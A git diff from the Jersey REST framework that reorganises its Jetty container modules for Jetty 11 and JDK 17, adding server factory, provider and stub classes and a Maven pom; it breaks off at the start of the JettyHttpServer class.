diff --git a/containers/jetty-servlet/src/main/java11/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java b/containers/jetty-servlet/src/main/java11/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
new file mode 100644
index 00000000000..afbec622ab4
--- /dev/null
+++ b/containers/jetty-servlet/src/main/java11/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
@@ -0,0 +1,239 @@
+/*
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.servlet;
+
+import jakarta.servlet.Servlet;
+import jakarta.ws.rs.ProcessingException;
+import org.eclipse.jetty.server.Server;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.servlet.ServletContainer;
+
+import java.net.URI;
+import java.util.Map;
+
+/**
+ * Factory for creating and starting Jetty {@link Server} instances
+ * for deploying a Servlet.
+ *
+ * The default deployed server is an instance of {@link ServletContainer}.
+ *
+ * If no initialization parameters are declared (or is null) then root
+ * resource and provider classes will be found by searching the classes
+ * referenced in the java classpath.
+ *
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public final class JettyWebContainerFactory {
+
+ private JettyWebContainerFactory() {
+ }
+
+ /**
+ * Create a {@link Server} that registers the {@link ServletContainer}.
+ *
+ * @param u the URI to create the http server. The URI scheme must be
+ * equal to "http". The URI user information and host
+ * are ignored If the URI port is not present then port 80 will be
+ * used. The URI query and fragment components are ignored. Only first path segment will be used
+ * as context path, the rest will be ignored.
+ * @return the http server, with the endpoint started.
+ * @throws Exception if an error occurs creating the container.
+ * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+ */
+ public static Server create(String u)
+ throws Exception {
+ if (u == null) {
+ throw new IllegalArgumentException("The URI must not be null");
+ }
+
+ return create(URI.create(u));
+ }
+
+ /**
+ * Create a {@link Server} that registers the {@link ServletContainer}.
+ *
+ * @param u the URI to create the http server. The URI scheme must be
+ * equal to "http". The URI user information and host
+ * are ignored If the URI port is not present then port 80 will be
+ * used. The URI query and fragment components are ignored. Only first path segment will be used
+ * as context path, the rest will be ignored.
+ * @param initParams the servlet initialization parameters.
+ * @return the http server, with the endpoint started.
+ * @throws Exception if an error occurs creating the container.
+ * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+ */
+ public static Server create(String u, Map initParams)
+ throws Exception {
+ if (u == null) {
+ throw new IllegalArgumentException("The URI must not be null");
+ }
+
+ return create(URI.create(u), initParams);
+ }
+
+ /**
+ * Create a {@link Server} that registers the {@link ServletContainer}.
+ *
+ * @param u the URI to create the http server. The URI scheme must be
+ * equal to "http". The URI user information and host
+ * are ignored If the URI port is not present then port 80 will be
+ * used. The URI query and fragment components are ignored. Only first path segment will be used
+ * as context path, the rest will be ignored.
+ * @return the http server, with the endpoint started.
+ * @throws Exception if an error occurs creating the container.
+ * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+ */
+ public static Server create(URI u)
+ throws Exception {
+ return create(u, ServletContainer.class);
+ }
+
+ /**
+ * Create a {@link Server} that registers the {@link ServletContainer}.
+ *
+ * @param u the URI to create the http server. The URI scheme must be
+ * equal to "http". The URI user information and host
+ * are ignored If the URI port is not present then port 80 will be
+ * used. The URI query and fragment components are ignored. Only first path segment will be used
+ * as context path, the rest will be ignored.
+ * @param initParams the servlet initialization parameters.
+ * @return the http server, with the endpoint started.
+ * @throws Exception if an error occurs creating the container.
+ * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+ */
+ public static Server create(URI u, Map initParams)
+ throws Exception {
+ return create(u, ServletContainer.class, initParams);
+ }
+
+ /**
+ * Create a {@link Server} that registers the declared
+ * servlet class.
+ *
+ * @param u the URI to create the http server. The URI scheme must be
+ * equal to "http". The URI user information and host
+ * are ignored If the URI port is not present then port 80 will be
+ * used. The URI query and fragment components are ignored. Only first path segment will be used
+ * as context path, the rest will be ignored.
+ * @param c the servlet class.
+ * @return the http server, with the endpoint started.
+ * @throws Exception if an error occurs creating the container.
+ * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+ */
+ public static Server create(String u, Class extends Servlet> c)
+ throws Exception {
+ if (u == null) {
+ throw new IllegalArgumentException("The URI must not be null");
+ }
+
+ return create(URI.create(u), c);
+ }
+
+ /**
+ * Create a {@link Server} that registers the declared
+ * servlet class.
+ *
+ * @param u the URI to create the http server. The URI scheme must be
+ * equal to "http". The URI user information and host
+ * are ignored If the URI port is not present then port 80 will be
+ * used. The URI query and fragment components are ignored. Only first path segment will be used
+ * as context path, the rest will be ignored.
+ * @param c the servlet class.
+ * @param initParams the servlet initialization parameters.
+ * @return the http server, with the endpoint started.
+ * @throws Exception if an error occurs creating the container.
+ * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+ */
+ public static Server create(String u, Class extends Servlet> c,
+ Map initParams)
+ throws Exception {
+ if (u == null) {
+ throw new IllegalArgumentException("The URI must not be null");
+ }
+
+ return create(URI.create(u), c, initParams);
+ }
+
+ /**
+ * Create a {@link Server} that registers the declared
+ * servlet class.
+ *
+ * @param u the URI to create the http server. The URI scheme must be
+ * equal to "http". The URI user information and host
+ * are ignored If the URI port is not present then port 80 will be
+ * used. The URI query and fragment components are ignored. Only first path segment will be used
+ * as context path, the rest will be ignored.
+ * @param c the servlet class.
+ * @return the http server, with the endpoint started.
+ * @throws Exception if an error occurs creating the container.
+ * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+ */
+ public static Server create(URI u, Class extends Servlet> c)
+ throws Exception {
+ return create(u, c, null);
+ }
+
+ /**
+ * Create a {@link Server} that registers the declared
+ * servlet class.
+ *
+ * @param u the URI to create the http server. The URI scheme must be
+ * equal to "http". The URI user information and host
+ * are ignored If the URI port is not present then port 80 will be
+ * used. The URI query and fragment components are ignored. Only first path segment will be used
+ * as context path, the rest will be ignored.
+ * @param c the servlet class.
+ * @param initParams the servlet initialization parameters.
+ * @return the http server, with the endpoint started.
+ * @throws Exception if an error occurs creating the container.
+ * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+ */
+ public static Server create(URI u, Class extends Servlet> c, Map initParams)
+ throws Exception {
+ return create(u, c, null, initParams, null);
+ }
+
+ private static Server create(URI u, Class extends Servlet> c, Servlet servlet,
+ Map initParams, Map contextInitParams)
+ throws Exception {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+
+ /**
+ * Create a {@link Server} that registers the declared
+ * servlet instance.
+ *
+ * @param u the URI to create the HTTP server. The URI scheme must be
+ * equal to "http". The URI user information and host
+ * are ignored If the URI port is not present then port 80 will be
+ * used. The URI query and fragment components are ignored. Only first path segment will be used
+ * as context path, the rest will be ignored.
+ * @param servlet the servlet instance.
+ * @param initParams the servlet initialization parameters.
+ * @param contextInitParams the servlet context initialization parameters.
+ * @return the http server, with the endpoint started.
+ * @throws Exception if an error occurs creating the container.
+ * @throws IllegalArgumentException if HTTP server URI is {@code null}.
+ */
+ public static Server create(URI u, Servlet servlet, Map initParams, Map contextInitParams)
+ throws Exception {
+ if (servlet == null) {
+ throw new IllegalArgumentException("The servlet must not be null");
+ }
+ return create(u, null, servlet, initParams, contextInitParams);
+ }
+}
\ No newline at end of file
diff --git a/containers/jetty-servlet/src/main/java/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java b/containers/jetty-servlet/src/main/java17/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
similarity index 97%
rename from containers/jetty-servlet/src/main/java/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
rename to containers/jetty-servlet/src/main/java17/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
index a663a5026d0..5ada3ed7a34 100644
--- a/containers/jetty-servlet/src/main/java/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
+++ b/containers/jetty-servlet/src/main/java17/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -26,10 +26,10 @@
import org.glassfish.jersey.uri.UriComponent;
import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.servlet.ServletHolder;
-import org.eclipse.jetty.webapp.Configuration;
-import org.eclipse.jetty.webapp.WebAppContext;
-import org.eclipse.jetty.webapp.WebXmlConfiguration;
+import org.eclipse.jetty.ee10.servlet.ServletHolder;
+import org.eclipse.jetty.ee10.webapp.Configuration;
+import org.eclipse.jetty.ee10.webapp.WebAppContext;
+import org.eclipse.jetty.ee10.webapp.WebXmlConfiguration;
/**
* Factory for creating and starting Jetty {@link Server} instances
@@ -281,4 +281,4 @@ public static Server create(URI u, Servlet servlet, Map initPara
}
return create(u, null, servlet, initParams, contextInitParams);
}
-}
+}
\ No newline at end of file
diff --git a/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties b/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties
index c362bf09577..6504f0e81ab 100644
--- a/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties
+++ b/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties
@@ -1,5 +1,5 @@
#
-# Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved.
#
# This program and the accompanying materials are made available under the
# terms of the Eclipse Public License v. 2.0, which is available at
@@ -15,4 +15,4 @@
#
# {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 11.
+not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/containers/jetty11-http/pom.xml b/containers/jetty11-http/pom.xml
new file mode 100644
index 00000000000..c9f3bcfe8cd
--- /dev/null
+++ b/containers/jetty11-http/pom.xml
@@ -0,0 +1,127 @@
+
+
+
+
+ 4.0.0
+
+
+ project
+ org.glassfish.jersey.containers
+ 3.1.99-SNAPSHOT
+
+
+ jersey-container-jetty11-http
+ jar
+ jersey-container-jetty11-http
+
+ Jetty 11 Http Container
+
+
+
+ jakarta.inject
+ jakarta.inject-api
+
+
+ org.eclipse.jetty
+ jetty-server
+ ${jetty11.version}
+
+
+ org.eclipse.jetty.toolchain
+ jetty-jakarta-servlet-api
+
+
+ org.slf4j
+ slf4j-api
+
+
+ org.eclipse.jetty
+ jetty-util
+
+
+
+
+ org.slf4j
+ slf4j-api
+ ${slf4j.version}
+
+
+ jakarta.servlet
+ jakarta.servlet-api
+ provided
+
+
+ org.eclipse.jetty
+ jetty-util
+ ${jetty11.version}
+
+
+ org.slf4j
+ slf4j-api
+
+
+
+
+ org.apache.httpcomponents
+ httpclient
+ test
+
+
+ org.hamcrest
+ hamcrest
+ test
+
+
+
+
+
+
+ com.sun.istack
+ istack-commons-maven-plugin
+ true
+
+
+ org.codehaus.mojo
+ build-helper-maven-plugin
+ true
+
+
+ org.apache.felix
+ maven-bundle-plugin
+ true
+
+
+
+ ${jetty.osgi.version},
+ *
+
+
+
+
+
+
+
+
+ ${basedir}/src/main/resources
+ true
+
+
+
+
+
diff --git a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
similarity index 97%
rename from containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
rename to containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
index ec14d86068d..36be72df222 100644
--- a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
+++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -36,7 +36,6 @@
import jakarta.servlet.AsyncListener;
import jakarta.ws.rs.core.Application;
import jakarta.ws.rs.core.GenericType;
-import jakarta.ws.rs.core.Response.Status;
import jakarta.ws.rs.core.SecurityContext;
import jakarta.inject.Inject;
@@ -198,7 +197,7 @@ private void setResponseForInvalidUri(final HttpServletResponse response, final
if (configSetStatusOverSendError) {
response.reset();
//noinspection deprecation
- response.setStatus(BAD_REQUEST_STATUS.getStatusCode(), BAD_REQUEST_STATUS.getReasonPhrase());
+ response.setStatus(BAD_REQUEST_STATUS.getStatusCode());
} else {
response.sendError(BAD_REQUEST_STATUS.getStatusCode(), BAD_REQUEST_STATUS.getReasonPhrase());
}
@@ -238,13 +237,9 @@ public String getAuthenticationScheme() {
}
- private URI getBaseUri(final Request request) {
- try {
- return new URI(request.getScheme(), null, request.getServerName(),
- request.getServerPort(), getBasePath(request), null, null);
- } catch (final URISyntaxException ex) {
- throw new IllegalArgumentException(ex);
- }
+ private URI getBaseUri(final Request request) throws URISyntaxException {
+ return new URI(request.getScheme(), null, request.getServerName(),
+ request.getServerPort(), getBasePath(request), null, null);
}
private String getBasePath(final Request request) {
@@ -427,7 +422,7 @@ public ResourceConfig getConfiguration() {
@Override
public void reload() {
- reload(getConfiguration());
+ reload(new ResourceConfig(getConfiguration()));
}
@Override
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
new file mode 100644
index 00000000000..26a4b79581d
--- /dev/null
+++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
@@ -0,0 +1,305 @@
+/*
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import java.net.URI;
+import java.util.concurrent.ThreadFactory;
+
+import jakarta.ws.rs.ProcessingException;
+
+import org.glassfish.jersey.internal.guava.ThreadFactoryBuilder;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.process.JerseyProcessingUncaughtExceptionHandler;
+import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.spi.Container;
+
+import org.eclipse.jetty.server.Connector;
+import org.eclipse.jetty.server.HttpConfiguration;
+import org.eclipse.jetty.server.HttpConnectionFactory;
+import org.eclipse.jetty.server.SecureRequestCustomizer;
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
+import org.eclipse.jetty.server.SslConnectionFactory;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
+import org.eclipse.jetty.util.thread.QueuedThreadPool;
+
+/**
+ * Factory for creating and starting Jetty server handlers. This returns
+ * a handle to the started server as {@link Server} instances, which allows
+ * the server to be stopped by invoking the {@link org.eclipse.jetty.server.Server#stop()} method.
+ *
+ * To start the server in HTTPS mode an {@link SslContextFactory} can be provided.
+ * This will be used to decrypt and encrypt information sent over the
+ * connected TCP socket channel.
+ *
+ * @author Arul Dhesiaseelan (aruld@acm.org)
+ * @author Marek Potociar
+ */
+public final class JettyHttpContainerFactory {
+
+ private JettyHttpContainerFactory() {
+ }
+
+ /**
+ * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+ *
+ * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+ * segment will be used as context path, the rest will be ignored.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createServer(final URI uri) throws ProcessingException {
+ return createServer(uri, null, null, true);
+ }
+
+ /**
+ * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+ *
+ * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+ * segment will be used as context path, the rest will be ignored.
+ * @param start if set to false, server will not get started, which allows to configure the underlying transport
+ * layer, see above for details.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createServer(final URI uri, final boolean start) throws ProcessingException {
+ return createServer(uri, null, null, start);
+ }
+
+ /**
+ * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ *
+ * This implementation defers to the
+ * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+ * for creating an Container that manages the root resources.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to "http". The URI user information and host
+ * are ignored If the URI port is not present then port 80 will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param config the resource configuration.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createServer(final URI uri, final ResourceConfig config)
+ throws ProcessingException {
+
+ final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config);
+ return createServer(uri, null, container, true);
+ }
+
+ /**
+ * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ *
+ * This implementation defers to the
+ * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+ * for creating an Container that manages the root resources.
+ *
+ * @param uri URI on which the Jersey web application will be deployed. Only first path segment will be
+ * used as context path, the rest will be ignored.
+ * @param configuration web application configuration.
+ * @param start if set to false, server will not get started, which allows to configure the underlying
+ * transport layer, see above for details.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createServer(final URI uri, final ResourceConfig configuration, final boolean start)
+ throws ProcessingException {
+ return createServer(uri, null, ContainerFactory.createContainer(JettyHttpContainer.class, configuration), start);
+ }
+
+
+ /**
+ * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to "https". The URI user information and host
+ * are ignored If the URI port is not present then port 143 will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param config the resource configuration.
+ * @param parentContext DI provider specific context with application's registered bindings.
+ * @param start if set to false, server will not get started, this allows end users to set
+ * additional properties on the underlying listener.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ * @see JettyHttpContainer
+ * @since 2.12
+ */
+ public static Server createServer(final URI uri, final ResourceConfig config, final boolean start,
+ final Object parentContext) {
+ return createServer(uri, null, new JettyHttpContainer(config, parentContext), start);
+ }
+
+
+ /**
+ * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to "https". The URI user information and host
+ * are ignored If the URI port is not present then port 143 will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param config the resource configuration.
+ * @param parentContext DI provider specific context with application's registered bindings.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ * @see JettyHttpContainer
+ * @since 2.12
+ */
+ public static Server createServer(final URI uri, final ResourceConfig config, final Object parentContext) {
+ return createServer(uri, null, new JettyHttpContainer(config, parentContext), true);
+ }
+
+ /**
+ * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ *
+ * This implementation defers to the
+ * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+ * for creating an Container that manages the root resources.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to {@code https}. The URI user information and host
+ * are ignored. If the URI port is not present then port
+ * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param sslContextFactory this is the SSL context factory used to configure SSL connector
+ * @param config the resource configuration.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createServer(final URI uri, final SslContextFactory.Server sslContextFactory,
+ final ResourceConfig config)
+ throws ProcessingException {
+ final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config);
+ return createServer(uri, sslContextFactory, container, true);
+ }
+
+ /**
+ * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes found by searching the
+ * classes referenced in the java classpath.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to {@code https}. The URI user information and host
+ * are ignored. If the URI port is not present then port
+ * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param sslContextFactory this is the SSL context factory used to configure SSL connector
+ * @param handler the container that handles all HTTP requests
+ * @param start if set to false, server will not get started, this allows end users to set
+ * additional properties on the underlying listener.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ * @see JettyHttpContainer
+ */
+ public static Server createServer(final URI uri,
+ final SslContextFactory.Server sslContextFactory,
+ final JettyHttpContainer handler,
+ final boolean start) {
+ if (uri == null) {
+ throw new IllegalArgumentException(LocalizationMessages.URI_CANNOT_BE_NULL());
+ }
+ final String scheme = uri.getScheme();
+ int defaultPort = Container.DEFAULT_HTTP_PORT;
+
+ if (sslContextFactory == null) {
+ if (!"http".equalsIgnoreCase(scheme)) {
+ throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTP());
+ }
+ } else {
+ if (!"https".equalsIgnoreCase(scheme)) {
+ throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTPS());
+ }
+ defaultPort = Container.DEFAULT_HTTPS_PORT;
+ }
+ final int port = (uri.getPort() == -1) ? defaultPort : uri.getPort();
+
+ final Server server = new Server(new JettyConnectorThreadPool());
+ final HttpConfiguration config = new HttpConfiguration();
+ if (sslContextFactory != null) {
+ config.setSecureScheme("https");
+ config.setSecurePort(port);
+ config.addCustomizer(new SecureRequestCustomizer());
+
+ final ServerConnector https = new ServerConnector(server,
+ new SslConnectionFactory(sslContextFactory, "http/1.1"),
+ new HttpConnectionFactory(config));
+ https.setPort(port);
+ server.setConnectors(new Connector[]{https});
+
+ } else {
+ final ServerConnector http = new ServerConnector(server, new HttpConnectionFactory(config));
+ http.setPort(port);
+ server.setConnectors(new Connector[]{http});
+ }
+ if (handler != null) {
+ server.setHandler(handler);
+ }
+
+ if (start) {
+ try {
+ // Start the server.
+ server.start();
+ } catch (final Exception e) {
+ throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e);
+ }
+ }
+ return server;
+ }
+
+ // TODO: Use https://www.eclipse.org/jetty/javadoc/current/org/eclipse/jetty/util/thread/QueuedThreadPool.html
+ // #%3Cinit%3E(int,int,int,int,java.util.concurrent.BlockingQueue,java.lang.ThreadGroup,java.util.concurrent.ThreadFactory)
+ //
+ // Keeping this for backwards compatibility for the time being
+ private static final class JettyConnectorThreadPool extends QueuedThreadPool {
+ private final ThreadFactory threadFactory = new ThreadFactoryBuilder()
+ .setNameFormat("jetty-http-server-%d")
+ .setUncaughtExceptionHandler(new JerseyProcessingUncaughtExceptionHandler())
+ .build();
+
+ @Override
+ public Thread newThread(Runnable runnable) {
+ return threadFactory.newThread(runnable);
+ }
+ }
+}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
new file mode 100644
index 00000000000..4b8082537dc
--- /dev/null
+++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.internal.util.JdkVersion;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.server.spi.ContainerProvider;
+
+/**
+ * Container provider for containers based on Jetty Server {@link org.eclipse.jetty.server.Handler}.
+ *
+ * @author Arul Dhesiaseelan (aruld@acm.org)
+ * @author Marek Potociar
+ */
+public final class JettyHttpContainerProvider implements ContainerProvider {
+
+ public static final String HANDLER_NAME = "org.eclipse.jetty.server.Handler";
+ @Override
+ public T createContainer(final Class type, final Application application) throws ProcessingException {
+ if (JdkVersion.getJdkVersion().getMajor() < 11) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+ if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
+ return type.cast(new JettyHttpContainer(application));
+ }
+ return null;
+ }
+
+ public T createContainer(final Class type, final Application application,
+ Object parentContext) throws ProcessingException {
+ if (JdkVersion.getJdkVersion().getMajor() < 11) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+ if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
+ return type.cast(new JettyHttpContainer(application, parentContext));
+ }
+ return null;
+ }
+
+}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java
new file mode 100644
index 00000000000..dca75e08e5b
--- /dev/null
+++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.MANDATORY;
+import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.OPTIONAL;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.CompletionException;
+
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.eclipse.jetty.server.ServerConnector;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
+import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+
+/**
+ * Jersey {@code Server} implementation based on Jetty
+ * {@link org.eclipse.jetty.server.Server Server}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+final class JettyHttpServer implements WebServer {
